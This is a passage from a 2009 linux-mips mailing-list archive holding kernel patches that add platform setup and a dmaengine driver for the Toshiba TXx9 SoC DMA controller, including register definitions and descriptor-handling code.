<"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21931 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: anemo@mba.ocn.ne.jp Precedence: bulk X-list: linux-mips Content-Length: 9388 Lines: 279 Add platform support for DMAC of TXx9 SoCs. Signed-off-by: Atsushi Nemoto --- This patch depends on some mips patches ("TXx9: Add NDFMC support", "RBTX4939: Add MTD support"). http://www.linux-mips.org/archives/linux-mips/2009-01/msg00109.html http://www.linux-mips.org/archives/linux-mips/2009-01/msg00107.html arch/mips/include/asm/txx9/dmac.h | 3 +++ arch/mips/include/asm/txx9/tx4927.h | 2 ++ arch/mips/include/asm/txx9/tx4938.h | 1 + arch/mips/include/asm/txx9/tx4939.h | 1 + arch/mips/txx9/generic/setup.c | 25 +++++++++++++++++++++++++ arch/mips/txx9/generic/setup_tx4927.c | 12 ++++++++++++ arch/mips/txx9/generic/setup_tx4938.c | 21 ++++++++++++++++----- arch/mips/txx9/generic/setup_tx4939.c | 21 ++++++++++++++++----- arch/mips/txx9/rbtx4927/setup.c | 4 ++++ arch/mips/txx9/rbtx4938/setup.c | 1 + arch/mips/txx9/rbtx4939/setup.c | 1 + 11 files changed, 82 insertions(+), 10 deletions(-) diff --git a/arch/mips/include/asm/txx9/dmac.h b/arch/mips/include/asm/txx9/dmac.h index 3e1345d..51389c3 100644 --- a/arch/mips/include/asm/txx9/dmac.h +++ b/arch/mips/include/asm/txx9/dmac.h @@ -37,4 +37,7 @@ struct txx9dmac_slave { unsigned int reg_width; }; +void txx9_dmac_init(int id, unsigned long baseaddr, int irqs, + const struct txx9dmac_platform_data *pdata); + #endif /* __ASM_TXX9_DMAC_H */ diff --git a/arch/mips/include/asm/txx9/tx4927.h b/arch/mips/include/asm/txx9/tx4927.h index 7d813f1..d92ae07 100644 --- a/arch/mips/include/asm/txx9/tx4927.h +++ b/arch/mips/include/asm/txx9/tx4927.h @@ -41,6 +41,7 @@ #define TX4927_SDRAMC_REG (TX4927_REG_BASE + 0x8000) #define TX4927_EBUSC_REG (TX4927_REG_BASE + 0x9000) +#define TX4927_DMA_REG (TX4927_REG_BASE + 0xb000) #define TX4927_PCIC_REG (TX4927_REG_BASE + 0xd000) #define TX4927_CCFG_REG (TX4927_REG_BASE + 0xe000) #define TX4927_IRC_REG (TX4927_REG_BASE + 0xf600) @@ -265,5 +266,6 @@ int tx4927_pciclk66_setup(void); void tx4927_setup_pcierr_irq(void); void tx4927_irq_init(void); void tx4927_mtd_init(int ch); +void tx4927_dmac_init(int memcpy_chan); #endif /* __ASM_TXX9_TX4927_H */ diff --git a/arch/mips/include/asm/txx9/tx4938.h b/arch/mips/include/asm/txx9/tx4938.h index cd8bc20..0758a0c 100644 --- a/arch/mips/include/asm/txx9/tx4938.h +++ b/arch/mips/include/asm/txx9/tx4938.h @@ -305,5 +305,6 @@ struct tx4938ide_platform_info { }; void tx4938_ata_init(unsigned int irq, unsigned int shift, int tune); +void tx4938_dmac_init(int memcpy_chan0, int memcpy_chan1); #endif diff --git a/arch/mips/include/asm/txx9/tx4939.h b/arch/mips/include/asm/txx9/tx4939.h index af456c7..697fa93 100644 --- a/arch/mips/include/asm/txx9/tx4939.h +++ b/arch/mips/include/asm/txx9/tx4939.h @@ -544,5 +544,6 @@ void tx4939_ata_init(void); void tx4939_ndfmc_init(unsigned int hold, unsigned int spw, unsigned char ch_mask, unsigned char wide_mask); void tx4939_rtc_init(void); +void tx4939_dmac_init(int memcpy_chan0, int memcpy_chan1); #endif /* __ASM_TXX9_TX4939_H */ diff --git a/arch/mips/txx9/generic/setup.c b/arch/mips/txx9/generic/setup.c index 8a266c6..91c4283 100644 --- a/arch/mips/txx9/generic/setup.c +++ b/arch/mips/txx9/generic/setup.c @@ -33,6 +33,7 @@ #include #include #include +#include #ifdef CONFIG_CPU_TX49XX #include #endif @@ -821,3 +822,27 @@ void __init txx9_iocled_init(unsigned long baseaddr, { } #endif /* CONFIG_LEDS_GPIO */ + +void __init txx9_dmac_init(int id, unsigned long baseaddr, int irq, + const struct txx9dmac_platform_data *pdata) +{ +#if defined(CONFIG_TXX9_DMAC) || defined(CONFIG_TXX9_DMAC_MODULE) + struct resource res[] = { + { + .start = baseaddr, + .end = baseaddr + 0x800 - 1, + .flags = IORESOURCE_MEM, + }, { + .start = irq, + .flags = IORESOURCE_IRQ, + } + }; + struct platform_device *pdev = platform_device_alloc("txx9dmac", id); + + if (!pdev || + platform_device_add_resources(pdev, res, ARRAY_SIZE(res)) || + platform_device_add_data(pdev, pdata, sizeof(*pdata)) || + platform_device_add(pdev)) + platform_device_put(pdev); +#endif +} diff --git a/arch/mips/txx9/generic/setup_tx4927.c b/arch/mips/txx9/generic/setup_tx4927.c index 914e93c..778078a 100644 --- a/arch/mips/txx9/generic/setup_tx4927.c +++ b/arch/mips/txx9/generic/setup_tx4927.c @@ -22,6 +22,7 @@ #include #include #include +#include #include static void __init tx4927_wdr_init(void) @@ -253,6 +254,17 @@ void __init tx4927_mtd_init(int ch) txx9_physmap_flash_init(ch, start, size, &pdata); } +void __init tx4927_dmac_init(int memcpy_chan) +{ + struct txx9dmac_platform_data plat_data = { + .memcpy_chan = memcpy_chan, + .have_64bit_regs = true, + }; + + txx9_dmac_init(0, TX4927_DMA_REG & 0xfffffffffULL, + TXX9_IRQ_BASE + TX4927_IR_DMA(0), &plat_data); +} + static void __init tx4927_stop_unused_modules(void) { __u64 pcfg, rst = 0, ckd = 0; diff --git a/arch/mips/txx9/generic/setup_tx4938.c b/arch/mips/txx9/generic/setup_tx4938.c index f0844f8..5d2cbbf 100644 --- a/arch/mips/txx9/generic/setup_tx4938.c +++ b/arch/mips/txx9/generic/setup_tx4938.c @@ -24,6 +24,7 @@ #include #include #include +#include #include static void __init tx4938_wdr_init(void) @@ -239,11 +240,6 @@ void __init tx4938_setup(void) for (i = 0; i < TX4938_NR_TMR; i++) txx9_tmr_init(TX4938_TMR_REG(i) & 0xfffffffffULL); - /* DMA */ - for (i = 0; i < 2; i++) - ____raw_writeq(TX4938_DMA_MCR_MSTEN, - (void __iomem *)(TX4938_DMA_REG(i) + 0x50)); - /* PIO */ txx9_gpio_init(TX4938_PIO_REG & 0xfffffffffULL, 0, TX4938_NUM_PIO); __raw_writel(0, &tx4938_pioptr->maskcpu); @@ -403,6 +399,21 @@ void __init tx4938_ndfmc_init(unsigned int hold, unsigned int spw) txx9_ndfmc_init(baseaddr, &plat_data); } +void __init tx4938_dmac_init(int memcpy_chan0, int memcpy_chan1) +{ + struct txx9dmac_platform_data plat_data = { + .have_64bit_regs = true, + }; + int i; + + for (i = 0; i < 2; i++) { + plat_data.memcpy_chan = i ? memcpy_chan1 : memcpy_chan0; + txx9_dmac_init(i, TX4938_DMA_REG(i) & 0xfffffffffULL, + TXX9_IRQ_BASE + TX4938_IR_DMA(i, 0), + &plat_data); + } +} + static void __init tx4938_stop_unused_modules(void) { __u64 pcfg, rst = 0, ckd = 0; diff --git a/arch/mips/txx9/generic/setup_tx4939.c b/arch/mips/txx9/generic/setup_tx4939.c index ec56b91..d48eee1 100644 --- a/arch/mips/txx9/generic/setup_tx4939.c +++ b/arch/mips/txx9/generic/setup_tx4939.c @@ -28,6 +28,7 @@ #include #include #include +#include #include static void __init tx4939_wdr_init(void) @@ -259,11 +260,6 @@ void __init tx4939_setup(void) for (i = 0; i < TX4939_NR_TMR; i++) txx9_tmr_init(TX4939_TMR_REG(i) & 0xfffffffffULL); - /* DMA */ - for (i = 0; i < 2; i++) - ____raw_writeq(TX4938_DMA_MCR_MSTEN, - (void __iomem *)(TX4939_DMA_REG(i) + 0x50)); - /* set PCIC1 reset (required to prevent hangup on BIST) */ txx9_set64(&tx4939_ccfgptr->clkctr, TX4939_CLKCTR_PCI1RST); pcfg = ____raw_readq(&tx4939_ccfgptr->pcfg); @@ -474,6 +470,21 @@ void __init tx4939_rtc_init(void) platform_device_register(&rtc_dev); } +void __init tx4939_dmac_init(int memcpy_chan0, int memcpy_chan1) +{ + struct txx9dmac_platform_data plat_data = { + .have_64bit_regs = true, + }; + int i; + + for (i = 0; i < 2; i++) { + plat_data.memcpy_chan = i ? memcpy_chan1 : memcpy_chan0; + txx9_dmac_init(i, TX4939_DMA_REG(i) & 0xfffffffffULL, + TXX9_IRQ_BASE + TX4939_IR_DMA(i, 0), + &plat_data); + } +} + static void __init tx4939_stop_unused_modules(void) { __u64 pcfg, rst = 0, ckd = 0; diff --git a/arch/mips/txx9/rbtx4927/setup.c b/arch/mips/txx9/rbtx4927/setup.c index 01129a9..332cdbc 100644 --- a/arch/mips/txx9/rbtx4927/setup.c +++ b/arch/mips/txx9/rbtx4927/setup.c @@ -337,6 +337,10 @@ static void __init rbtx4927_device_init(void) rbtx4927_ne_init(); tx4927_wdt_init(); rbtx4927_mtd_init(); + if (TX4927_REV_PCODE() == 0x4927) + tx4927_dmac_init(2); + else + tx4938_dmac_init(0, 2); txx9_iocled_init(RBTX4927_LED_ADDR - IO_BASE, -1, 3, 1, "green", NULL); rbtx4927_gpioled_init(); } diff --git a/arch/mips/txx9/rbtx4938/setup.c b/arch/mips/txx9/rbtx4938/setup.c index 65d13df..37c5e3d 100644 --- a/arch/mips/txx9/rbtx4938/setup.c +++ b/arch/mips/txx9/rbtx4938/setup.c @@ -355,6 +355,7 @@ static void __init rbtx4938_device_init(void) /* TC58DVM82A1FT: tDH=10ns, tWP=tRP=tREADID=35ns */ tx4938_ndfmc_init(10, 35); tx4938_ata_init(RBTX4938_IRQ_IOC_ATA, 0, 1); + tx4938_dmac_init(0, 2); txx9_iocled_init(RBTX4938_LED_ADDR - IO_BASE, -1, 8, 1, "green", NULL); } diff --git a/arch/mips/txx9/rbtx4939/setup.c b/arch/mips/txx9/rbtx4939/setup.c index 0f1ce9c..1e28e97 100644 --- a/arch/mips/txx9/rbtx4939/setup.c +++ b/arch/mips/txx9/rbtx4939/setup.c @@ -498,6 +498,7 @@ static void __init rbtx4939_device_init(void) tx4939_wdt_init(); tx4939_ata_init(); tx4939_rtc_init(); + tx4939_dmac_init(0, 2); } static void __init rbtx4939_setup(void) -- 1.5.6.3 From anemo@mba.ocn.ne.jp Fri Feb 13 15:29:39 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Feb 2009 15:29:44 +0000 (GMT) Received: from mba.ocn.ne.jp ([122.1.235.107]:16363 "HELO smtp.mba.ocn.ne.jp") by ftp.linux-mips.org with SMTP id S21367043AbZBMP3A (ORCPT ); Fri, 13 Feb 2009 15:29:00 +0000 Received: from localhost.localdomain (p6191-ipad213funabasi.chiba.ocn.ne.jp [124.85.71.191]) by smtp.mba.ocn.ne.jp (Postfix) with ESMTP id 69C74A9DD; Sat, 14 Feb 2009 00:28:51 +0900 (JST) From: Atsushi Nemoto To: linux-mips@linux-mips.org Cc: ralf@linux-mips.org, dan.j.williams@intel.com, linux-kernel@vger.kernel.org Subject: [PATCH 1/2] dmaengine: TXx9 Soc DMA Controller driver Date: Sat, 14 Feb 2009 00:28:57 +0900 Message-Id: <1234538938-23479-1-git-send-email-anemo@mba.ocn.ne.jp> X-Mailer: git-send-email 1.5.6.3 Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21932 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: anemo@mba.ocn.ne.jp Precedence: bulk X-list: linux-mips Content-Length: 47346 Lines: 1700 This patch adds support for the integrated DMAC of the TXx9 family. Signed-off-by: Atsushi Nemoto --- arch/mips/include/asm/txx9/dmac.h | 40 + drivers/dma/Kconfig | 8 + drivers/dma/Makefile | 1 + drivers/dma/txx9dmac.c | 1605 +++++++++++++++++++++++++++++++++++++ 4 files changed, 1654 insertions(+), 0 deletions(-) create mode 100644 arch/mips/include/asm/txx9/dmac.h create mode 100644 drivers/dma/txx9dmac.c diff --git a/arch/mips/include/asm/txx9/dmac.h b/arch/mips/include/asm/txx9/dmac.h new file mode 100644 index 0000000..3e1345d --- /dev/null +++ b/arch/mips/include/asm/txx9/dmac.h @@ -0,0 +1,40 @@ +/* + * TXx9 SoC DMA Controller + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#ifndef __ASM_TXX9_DMAC_H +#define __ASM_TXX9_DMAC_H + +#include + +/** + * struct txx9dmac_platform_data - Controller configuration parameters + * @memcpy_chan: Channel used for DMA_MEMCPY + * @have_64bit_regs: DMAC have 64 bit registers + * @slave_info: physical address and width of data register used for + * memory-to-peripheral transfers + */ +struct txx9dmac_platform_data { + int memcpy_chan; + bool have_64bit_regs; +}; + +/** + * struct txx9dmac_slave - Controller-specific information about a slave + * @tx_reg: physical address of data register used for + * memory-to-peripheral transfers + * @rx_reg: physical address of data register used for + * peripheral-to-memory transfers + * @reg_width: peripheral register width + */ +struct txx9dmac_slave { + u64 tx_reg; + u64 rx_reg; + unsigned int reg_width; +}; + +#endif /* __ASM_TXX9_DMAC_H */ diff --git a/drivers/dma/Kconfig b/drivers/dma/Kconfig index 48ea59e..3f7b09f 100644 --- a/drivers/dma/Kconfig +++ b/drivers/dma/Kconfig @@ -81,6 +81,14 @@ config MX3_IPU_IRQS To avoid bloating the irq_desc[] array we allocate a sufficient number of IRQ slots and map them dynamically to specific sources. +config TXX9_DMAC + tristate "Toshiba TXx9 SoC DMA support" + depends on MACH_TX49XX || MACH_TX39XX + select DMA_ENGINE + help + Support the TXx9 SoC internal DMA controller. This can be + integrated in chips such as the Toshiba TX4927/38/39. + config DMA_ENGINE bool diff --git a/drivers/dma/Makefile b/drivers/dma/Makefile index 2e5dc96..a0b6564 100644 --- a/drivers/dma/Makefile +++ b/drivers/dma/Makefile @@ -8,3 +8,4 @@ obj-$(CONFIG_FSL_DMA) += fsldma.o obj-$(CONFIG_MV_XOR) += mv_xor.o obj-$(CONFIG_DW_DMAC) += dw_dmac.o obj-$(CONFIG_MX3_IPU) += ipu/ +obj-$(CONFIG_TXX9_DMAC) += txx9dmac.o diff --git a/drivers/dma/txx9dmac.c b/drivers/dma/txx9dmac.c new file mode 100644 index 0000000..ac39355 --- /dev/null +++ b/drivers/dma/txx9dmac.c @@ -0,0 +1,1605 @@ +/* + * Driver for the TXx9 SoC DMA Controller + * + * Copyright (C) 2008 Atsushi Nemoto + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TXX9_DMA_MAX_NR_CHANNELS 4 +#ifdef CONFIG_MACH_TX49XX +#define TXX9_DMA_MAY_HAVE_64BIT_REGS +#define TXX9_DMA_HAVE_CCR_LE +#define TXX9_DMA_HAVE_SMPCHN +#define TXX9_DMA_HAVE_IRQ_PER_CHAN +#endif + +#ifdef TXX9_DMA_HAVE_SMPCHN +#define TXX9_DMA_USE_SIMPLE_CHAIN +#endif + +/* + * Redefine this macro to handle differences between 32- and 64-bit + * addressing, big vs. little endian, etc. + */ +#ifdef __BIG_ENDIAN +#define TXX9_DMA_REG32(name) u32 __pad_##name; u32 name +#else +#define TXX9_DMA_REG32(name) u32 name; u32 __pad_##name +#endif + +/* Hardware register definitions. */ +struct txx9dmac_cregs { +#if defined(CONFIG_32BIT) && !defined(CONFIG_64BIT_PHYS_ADDR) + TXX9_DMA_REG32(CHAR); /* Chain Address Register */ +#else + u64 CHAR; /* Chain Address Register */ +#endif + u64 SAR; /* Source Address Register */ + u64 DAR; /* Destination Address Register */ + TXX9_DMA_REG32(CNTR); /* Count Register */ + TXX9_DMA_REG32(SAIR); /* Source Address Increment Register */ + TXX9_DMA_REG32(DAIR); /* Destination Address Increment Register */ + TXX9_DMA_REG32(CCR); /* Channel Control Register */ + TXX9_DMA_REG32(CSR); /* Channel Status Register */ +}; +struct txx9dmac_cregs32 { + u32 CHAR; + u32 SAR; + u32 DAR; + u32 CNTR; + u32 SAIR; + u32 DAIR; + u32 CCR; + u32 CSR; +}; + +struct txx9dmac_regs { + /* per-channel registers */ + struct txx9dmac_cregs CHAN[TXX9_DMA_MAX_NR_CHANNELS]; + u64 __pad[9]; + u64 MFDR; /* Memory Fill Data Register */ + TXX9_DMA_REG32(MCR); /* Master Control Register */ +}; +struct txx9dmac_regs32 { + struct txx9dmac_cregs32 CHAN[TXX9_DMA_MAX_NR_CHANNELS]; + u32 __pad[9]; + u32 MFDR; + u32 MCR; +}; + +/* bits for MCR */ +#define TXX9_DMA_MCR_EIS(ch) (0x10000000<<(ch)) +#define TXX9_DMA_MCR_DIS(ch) (0x01000000<<(ch)) +#define TXX9_DMA_MCR_RSFIF 0x00000080 +#define TXX9_DMA_MCR_FIFUM(ch) (0x00000008<<(ch)) +#define TXX9_DMA_MCR_LE 0x00000004 +#define TXX9_DMA_MCR_RPRT 0x00000002 +#define TXX9_DMA_MCR_MSTEN 0x00000001 + +/* bits for CCRn */ +#define TXX9_DMA_CCR_IMMCHN 0x20000000 +#define TXX9_DMA_CCR_USEXFSZ 0x10000000 +#define TXX9_DMA_CCR_LE 0x08000000 +#define TXX9_DMA_CCR_DBINH 0x04000000 +#define TXX9_DMA_CCR_SBINH 0x02000000 +#define TXX9_DMA_CCR_CHRST 0x01000000 +#define TXX9_DMA_CCR_RVBYTE 0x00800000 +#define TXX9_DMA_CCR_ACKPOL 0x00400000 +#define TXX9_DMA_CCR_REQPL 0x00200000 +#define TXX9_DMA_CCR_EGREQ 0x00100000 +#define TXX9_DMA_CCR_CHDN 0x00080000 +#define TXX9_DMA_CCR_DNCTL 0x00060000 +#define TXX9_DMA_CCR_EXTRQ 0x00010000 +#define TXX9_DMA_CCR_INTRQD 0x0000e000 +#define TXX9_DMA_CCR_INTENE 0x00001000 +#define TXX9_DMA_CCR_INTENC 0x00000800 +#define TXX9_DMA_CCR_INTENT 0x00000400 +#define TXX9_DMA_CCR_CHNEN 0x00000200 +#define TXX9_DMA_CCR_XFACT 0x00000100 +#define TXX9_DMA_CCR_SMPCHN 0x00000020 +#define TXX9_DMA_CCR_XFSZ(order) (((order) << 2) & 0x0000001c) +#define TXX9_DMA_CCR_XFSZ_1 TXX9_DMA_CCR_XFSZ(0) +#define TXX9_DMA_CCR_XFSZ_2 TXX9_DMA_CCR_XFSZ(1) +#define TXX9_DMA_CCR_XFSZ_4 TXX9_DMA_CCR_XFSZ(2) +#define TXX9_DMA_CCR_XFSZ_8 TXX9_DMA_CCR_XFSZ(3) +#define TXX9_DMA_CCR_XFSZ_X4 TXX9_DMA_CCR_XFSZ(4) +#define TXX9_DMA_CCR_XFSZ_X8 TXX9_DMA_CCR_XFSZ(5) +#define TXX9_DMA_CCR_XFSZ_X16 TXX9_DMA_CCR_XFSZ(6) +#define TXX9_DMA_CCR_XFSZ_X32 TXX9_DMA_CCR_XFSZ(7) +#define TXX9_DMA_CCR_MEMIO 0x00000002 +#define TXX9_DMA_CCR_SNGAD 0x00000001 + +/* bits for CSRn */ +#define TXX9_DMA_CSR_CHNEN 0x00000400 +#define TXX9_DMA_CSR_STLXFER 0x00000200 +#define TXX9_DMA_CSR_XFACT 0x00000100 +#define TXX9_DMA_CSR_ABCHC 0x00000080 +#define TXX9_DMA_CSR_NCHNC 0x00000040 +#define TXX9_DMA_CSR_NTRNFC 0x00000020 +#define TXX9_DMA_CSR_EXTDN 0x00000010 +#define TXX9_DMA_CSR_CFERR 0x00000008 +#define TXX9_DMA_CSR_CHERR 0x00000004 +#define TXX9_DMA_CSR_DESERR 0x00000002 +#define TXX9_DMA_CSR_SORERR 0x00000001 + +struct txx9dmac_chan { + struct dma_chan chan; + void __iomem *ch_regs; +#ifdef TXX9_DMA_HAVE_IRQ_PER_CHAN + struct tasklet_struct tasklet; + int irq; +#endif + u32 ccr; + + spinlock_t lock; + + /* these other elements are all protected by lock */ + dma_cookie_t completed; + struct list_head active_list; + struct list_head queue; + struct list_head free_list; + + unsigned int descs_allocated; +}; + +struct txx9dmac_dev { + struct dma_device dma; + struct dma_device dma_memcpy; + void __iomem *regs; +#ifndef TXX9_DMA_HAVE_IRQ_PER_CHAN + struct tasklet_struct tasklet; + int irq; +#endif +#ifdef TXX9_DMA_MAY_HAVE_64BIT_REGS + bool have_64bit_regs; +#endif + unsigned int descsize; + struct txx9dmac_chan chan[TXX9_DMA_MAX_NR_CHANNELS]; + struct dma_chan reserved_chan; +}; + +static struct txx9dmac_chan *to_txx9dmac_chan(struct dma_chan *chan) +{ + return container_of(chan, struct txx9dmac_chan, chan); +} + +static struct txx9dmac_dev *to_txx9dmac_dev(struct dma_device *ddev) +{ + if (ddev->device_prep_dma_memcpy) + return container_of(ddev, struct txx9dmac_dev, dma_memcpy); + return container_of(ddev, struct txx9dmac_dev, dma); +} + +static struct txx9dmac_cregs __iomem *__dma_regs(const struct txx9dmac_chan *dc) +{ + return dc->ch_regs; +} + +static struct txx9dmac_cregs32 __iomem *__dma_regs32( + const struct txx9dmac_chan *dc) +{ + return dc->ch_regs; +} + +static bool __is_dmac64(const struct txx9dmac_dev *ddev) +{ +#ifdef TXX9_DMA_MAY_HAVE_64BIT_REGS + return ddev->have_64bit_regs; +#else + return false; +#endif +} + +static bool is_dmac64(const struct txx9dmac_chan *dc) +{ + return __is_dmac64(to_txx9dmac_dev((dc)->chan.device)); +} + +#define channel64_readq(dc, name) \ + __raw_readq(&(__dma_regs(dc)->name)) +#define channel64_writeq(dc, name, val) \ + __raw_writeq((val), &(__dma_regs(dc)->name)) +#define channel64_readl(dc, name) \ + __raw_readl(&(__dma_regs(dc)->name)) +#define channel64_writel(dc, name, val) \ + __raw_writel((val), &(__dma_regs(dc)->name)) + +#define channel32_readl(dc, name) \ + __raw_readl(&(__dma_regs32(dc)->name)) +#define channel32_writel(dc, name, val) \ + __raw_writel((val), &(__dma_regs32(dc)->name)) + +#define channel_readq(dc, name) channel64_readq(dc, name) +#define channel_writeq(dc, name, val) channel64_writeq(dc, name, val) +#define channel_readl(dc, name) \ + (is_dmac64(dc) ? \ + channel64_readl(dc, name) : channel32_readl(dc, name)) +#define channel_writel(dc, name, val) \ + (is_dmac64(dc) ? \ + channel64_writel(dc, name, val) : channel32_writel(dc, name, val)) + +static dma_addr_t channel64_read_CHAR(const struct txx9dmac_chan *dc) +{ + if (sizeof(__dma_regs(dc)->CHAR) == sizeof(u64)) + return channel64_readq(dc, CHAR); + else + return channel64_readl(dc, CHAR); +} + +static void channel64_write_CHAR(const struct txx9dmac_chan *dc, dma_addr_t val) +{ + if (sizeof(__dma_regs(dc)->CHAR) == sizeof(u64)) + channel64_writeq(dc, CHAR, val); + else + channel64_writel(dc, CHAR, val); +} + +#ifdef TXX9_DMA_HAVE_SMPCHN +static dma_addr_t channel_read_CHAR(const struct txx9dmac_chan *dc) +{ + if (is_dmac64(dc)) + return channel64_read_CHAR(dc); + else + return channel32_readl(dc, CHAR); +} + +static void channel_write_CHAR(const struct txx9dmac_chan *dc, dma_addr_t val) +{ + if (is_dmac64(dc)) + channel64_write_CHAR(dc, val); + else + channel32_writel(dc, CHAR, val); +} +#endif + +static struct txx9dmac_regs __iomem *__txx9dmac_regs( + const struct txx9dmac_dev *ddev) +{ + return ddev->regs; +} + +static struct txx9dmac_regs32 __iomem *__txx9dmac_regs32( + const struct txx9dmac_dev *ddev) +{ + return ddev->regs; +} + +#define dma64_readl(ddev, name) \ + __raw_readl(&(__txx9dmac_regs(ddev)->name)) +#define dma64_writel(ddev, name, val) \ + __raw_writel((val), &(__txx9dmac_regs(ddev)->name)) + +#define dma32_readl(ddev, name) \ + __raw_readl(&(__txx9dmac_regs32(ddev)->name)) +#define dma32_writel(ddev, name, val) \ + __raw_writel((val), &(__txx9dmac_regs32(ddev)->name)) + +#define dma_readl(ddev, name) \ + (__is_dmac64(ddev) ? \ + dma64_readl(ddev, name) : dma32_readl(ddev, name)) +#define dma_writel(ddev, name, val) \ + (__is_dmac64(ddev) ? \ + dma64_writel(ddev, name, val) : dma32_writel(ddev, name, val)) + +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN +/* Hardware descriptor definition. (for simple-chain) */ +struct txx9dmac_hwdesc { +#if defined(CONFIG_32BIT) && !defined(CONFIG_64BIT_PHYS_ADDR) + TXX9_DMA_REG32(CHAR); +#else + u64 CHAR; +#endif + u64 SAR; + u64 DAR; + TXX9_DMA_REG32(CNTR); +}; +struct txx9dmac_hwdesc32 { + u32 CHAR; + u32 SAR; + u32 DAR; + u32 CNTR; +}; +#else +#define txx9dmac_hwdesc txx9dmac_cregs +#define txx9dmac_hwdesc32 txx9dmac_cregs32 +#endif + +struct txx9dmac_desc { + /* FIRST values the hardware uses */ + union { + struct txx9dmac_hwdesc hwdesc; + struct txx9dmac_hwdesc32 hwdesc32; + }; + + /* THEN values for driver housekeeping */ + struct list_head desc_node ____cacheline_aligned; + struct dma_async_tx_descriptor txd; + size_t len; +}; + +static struct device *chan2dev(struct dma_chan *chan) +{ + return &chan->dev->device; +} +static struct device *chan2parent(struct dma_chan *chan) +{ + return chan->dev->device.parent; +} + +static struct txx9dmac_desc * +txd_to_txx9dmac_desc(struct dma_async_tx_descriptor *txd) +{ + return container_of(txd, struct txx9dmac_desc, txd); +} + +static dma_addr_t desc_read_CHAR(const struct txx9dmac_chan *dc, + const struct txx9dmac_desc *desc) +{ + return is_dmac64(dc) ? desc->hwdesc.CHAR : desc->hwdesc32.CHAR; +} + +static void desc_write_CHAR(const struct txx9dmac_chan *dc, + struct txx9dmac_desc *desc, dma_addr_t val) +{ + if (is_dmac64(dc)) + desc->hwdesc.CHAR = val; + else + desc->hwdesc32.CHAR = val; +} + +#define TXX9_DMA_MAX_COUNT 0x04000000 + +#define TXX9_DMA_INITIAL_DESC_COUNT 64 + +static struct txx9dmac_desc *txx9dmac_first_active(struct txx9dmac_chan *dc) +{ + return list_entry(dc->active_list.next, + struct txx9dmac_desc, desc_node); +} + +#ifdef TXX9_DMA_HAVE_SMPCHN +static struct txx9dmac_desc *txx9dmac_last_active(struct txx9dmac_chan *dc) +{ + return list_entry(dc->active_list.prev, + struct txx9dmac_desc, desc_node); +} +#endif + +static struct txx9dmac_desc *txx9dmac_first_queued(struct txx9dmac_chan *dc) +{ + return list_entry(dc->queue.next, struct txx9dmac_desc, desc_node); +} + +static struct txx9dmac_desc *txx9dmac_last_child(struct txx9dmac_desc *desc) +{ + if (!list_empty(&desc->txd.tx_list)) + desc = list_entry(desc->txd.tx_list.prev, + struct txx9dmac_desc, desc_node); + return desc; +} + +static dma_cookie_t txx9dmac_tx_submit(struct dma_async_tx_descriptor *tx); + +static struct txx9dmac_desc *txx9dmac_desc_alloc(struct txx9dmac_chan *dc, + gfp_t flags) +{ + struct txx9dmac_dev *ddev = to_txx9dmac_dev(dc->chan.device); + struct txx9dmac_desc *desc; + + desc = kzalloc(sizeof(*desc), flags); + if (!desc) + return NULL; + dma_async_tx_descriptor_init(&desc->txd, &dc->chan); + desc->txd.tx_submit = txx9dmac_tx_submit; + desc->txd.flags = DMA_CTRL_ACK; + INIT_LIST_HEAD(&desc->txd.tx_list); + desc->txd.phys = dma_map_single(chan2parent(&dc->chan), &desc->hwdesc, + ddev->descsize, DMA_TO_DEVICE); + return desc; +} + +static struct txx9dmac_desc *txx9dmac_desc_get(struct txx9dmac_chan *dc) +{ + struct txx9dmac_desc *desc, *_desc; + struct txx9dmac_desc *ret = NULL; + unsigned int i = 0; + + spin_lock_bh(&dc->lock); + list_for_each_entry_safe(desc, _desc, &dc->free_list, desc_node) { + if (async_tx_test_ack(&desc->txd)) { + list_del(&desc->desc_node); + ret = desc; + break; + } + dev_dbg(chan2dev(&dc->chan), "desc %p not ACKed\n", desc); + i++; + } + spin_unlock_bh(&dc->lock); + + dev_vdbg(chan2dev(&dc->chan), "scanned %u descriptors on freelist\n", i); + if (!ret) { + ret = txx9dmac_desc_alloc(dc, GFP_ATOMIC); + if (ret) { + spin_lock_bh(&dc->lock); + dc->descs_allocated++; + spin_unlock_bh(&dc->lock); + } else + dev_err(chan2dev(&dc->chan), + "not enough descriptors available\n"); + } + return ret; +} + +static void txx9dmac_sync_desc_for_cpu(struct txx9dmac_chan *dc, + struct txx9dmac_desc *desc) +{ + struct txx9dmac_dev *ddev = to_txx9dmac_dev(dc->chan.device); + struct txx9dmac_desc *child; + + list_for_each_entry(child, &desc->txd.tx_list, desc_node) + dma_sync_single_for_cpu(chan2parent(&dc->chan), + child->txd.phys, ddev->descsize, + DMA_TO_DEVICE); + dma_sync_single_for_cpu(chan2parent(&dc->chan), + desc->txd.phys, ddev->descsize, + DMA_TO_DEVICE); +} + +/* + * Move a descriptor, including any children, to the free list. + * `desc' must not be on any lists. + */ +static void txx9dmac_desc_put(struct txx9dmac_chan *dc, + struct txx9dmac_desc *desc) +{ + if (desc) { + struct txx9dmac_desc *child; + + txx9dmac_sync_desc_for_cpu(dc, desc); + + spin_lock_bh(&dc->lock); + list_for_each_entry(child, &desc->txd.tx_list, desc_node) + dev_vdbg(chan2dev(&dc->chan), + "moving child desc %p to freelist\n", + child); + list_splice_init(&desc->txd.tx_list, &dc->free_list); + dev_vdbg(chan2dev(&dc->chan), "moving desc %p to freelist\n", desc); + list_add(&desc->desc_node, &dc->free_list); + spin_unlock_bh(&dc->lock); + } +} + +/* Called with dc->lock held and bh disabled */ +static dma_cookie_t 